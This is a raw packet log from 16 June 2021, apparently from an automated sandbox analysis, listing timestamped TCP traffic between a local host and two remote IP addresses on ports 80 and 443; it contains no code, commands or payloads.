Jun 16, 2021 12:06:12.949704885 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.949765921 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.949804068 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.949826956 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.949887991 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.949943066 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.949985981 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.950000048 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.950062037 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.950102091 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.950123072 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.950176954 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.950233936 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.950265884 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.950289011 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.950340033 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.950388908 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.950443983 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.950476885 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.950499058 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.950556040 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.950615883 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.950671911 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.950711966 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.950730085 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.950794935 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.950849056 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.950882912 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.950906038 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.950961113 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.951018095 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.951050997 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.951076984 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.951155901 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.951206923 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.951240063 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.951256037 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.951303959 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.951383114 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.951432943 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.951471090 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.951534033 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.951575994 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.951596022 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.951658010 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.951700926 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.951719999 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.951781034 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.951839924 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.951873064 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.951900005 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.951958895 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.952018976 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.952055931 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.952079058 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.952137947 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.952198982 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.952202082 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.952261925 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.952322006 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.952378988 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.952380896 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.952444077 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.952507019 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.952547073 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.952568054 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.952626944 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.952687025 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.952747107 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.952801943 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.952817917 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.952864885 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.952980042 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.953042030 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.953083992 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.953102112 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.953162909 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.953217983 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.953274965 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.953309059 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.953332901 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.957463980 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:13.127345085 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:13.127382994 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:20.146845102 CEST	49173	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:20.198723078 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.200860977 CEST	49173	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:20.201335907 CEST	49173	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:20.253120899 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.253163099 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.253179073 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.253196001 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.253209114 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.253257036 CEST	49173	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:20.253921986 CEST	49173	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:20.260234118 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.260252953 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.260365009 CEST	49173	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:20.290687084 CEST	49173	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:20.348563910 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.371814013 CEST	49173	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:20.426310062 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.431966066 CEST	49173	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:20.483942032 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.484133005 CEST	49173	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:20.536113977 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.536313057 CEST	49173	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:20.584456921 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.587564945 CEST	49173	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:20.589740038 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.589775085 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.589808941 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.589840889 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.589865923 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.589953899 CEST	49173	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:20.590006113 CEST	49173	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:20.641077995 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.641099930 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.641397953 CEST	49173	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:20.642288923 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.642303944 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.642312050 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.642396927 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.642407894 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.642419100 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.642429113 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.642438889 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.642445087 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.642457962 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.642465115 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.642534018 CEST	49173	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:20.642581940 CEST	49173	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:20.642596960 CEST	49173	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:20.693353891 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.693380117 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.693387985 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.694336891 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.694431067 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.694437027 CEST	49173	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:20.694442987 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.694456100 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.694547892 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.694560051 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.694570065 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.694581032 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.694591999 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.694597960 CEST	49173	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:20.694688082 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.694699049 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.694710016 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.694798946 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.694812059 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.746360064 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.746387005 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.746393919 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.746402025 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.746407986 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.746416092 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.746459007 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.746474981 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.746486902 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.746572971 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.746609926 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:20.746655941 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:21.351813078 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:21.351835966 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:21.351970911 CEST	49173	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:25.623235941 CEST	49173	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:25.676739931 CEST	443	49173	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:25.676943064 CEST	49173	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:25.859200954 CEST	49174	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:25.911241055 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:25.911324024 CEST	49174	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:25.912024975 CEST	49174	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:25.963929892 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:25.963989973 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:25.964030027 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:25.964066982 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:25.964087009 CEST	49174	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:25.964097977 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:25.964131117 CEST	49174	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:25.970966101 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:25.971019983 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:25.971087933 CEST	49174	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:26.012100935 CEST	49174	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:26.070445061 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.178816080 CEST	49174	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:26.230818987 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.232711077 CEST	49174	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:26.284698009 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.284842968 CEST	49174	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:26.336791039 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.336822987 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.336920977 CEST	49174	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:26.336956978 CEST	49174	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:26.388911009 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.388932943 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.388941050 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.388952971 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.389038086 CEST	49174	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:26.389085054 CEST	49174	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:26.440963984 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.440992117 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.441001892 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.441018105 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.441032887 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.441047907 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.441121101 CEST	49174	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:26.441184044 CEST	49174	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:26.487673998 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.487776995 CEST	49174	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:26.493001938 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.493040085 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.493071079 CEST	49174	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:26.493072987 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.493089914 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.493104935 CEST	49174	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:26.493117094 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.493143082 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.493225098 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.493249893 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.493277073 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.493304014 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.493371964 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.493448019 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.493477106 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.493547916 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.493613958 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.493640900 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.539829969 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.544975996 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.545027971 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.545052052 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.545192957 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.545306921 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:26.545381069 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:27.069154024 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:27.069216013 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:27.069271088 CEST	49174	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:27.636339903 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:27.688143015 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:27.688261986 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:27.701729059 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:27.753516912 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:27.753547907 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:27.753570080 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:27.753585100 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:27.753595114 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:27.753642082 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:27.754710913 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:27.760344982 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:27.760368109 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:27.760409117 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:27.813848019 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:27.873502970 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:28.102370977 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:28.766891003 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:28.818737984 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:28.821458101 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:28.873334885 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:28.873508930 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:28.925326109 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:28.925359964 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:28.925466061 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:28.925504923 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:28.979567051 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:28.979612112 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:28.979638100 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:28.979685068 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:28.979732037 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:28.979753971 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:29.031734943 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:29.031800032 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:29.031831026 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:29.031856060 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:29.031893969 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:29.031941891 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:29.031964064 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:29.031984091 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:29.032037973 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:29.032064915 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:29.032103062 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:29.032139063 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:29.032171965 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:29.032232046 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:29.084088087 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:29.084134102 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:29.084156990 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:29.084175110 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:29.084203005 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:29.084340096 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:29.084414959 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:29.084445000 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:29.084543943 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:29.084611893 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:29.084686041 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:29.084850073 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:29.084873915 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:29.085057974 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:29.086672068 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:29.137361050 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:29.137434006 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:29.665277958 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:29.665324926 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:29.665411949 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:31.493798018 CEST	49174	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:31.546899080 CEST	443	49174	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:31.547058105 CEST	49174	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:31.947499990 CEST	49176	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:31.999362946 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:31.999531031 CEST	49176	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.000336885 CEST	49176	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.054862976 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.054913044 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.102575064 CEST	49176	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.154679060 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.156760931 CEST	49176	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.176045895 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.208764076 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.208873034 CEST	49176	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.230060101 CEST	443	49175	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.230195045 CEST	49175	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.260803938 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.260845900 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.260998964 CEST	49176	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.312927961 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.312968969 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.313004971 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.313034058 CEST	443	49176	149.154.167.220	192.168.2.22
Jun 16, 2021 12:06:32.313045025 CEST	49176	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.313116074 CEST	49176	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.313138008 CEST	49176	443	192.168.2.22	149.154.167.220
Jun 16, 2021 12:06:32.313153982 CEST	49176	443	192.168.2.22	149.154.167.220
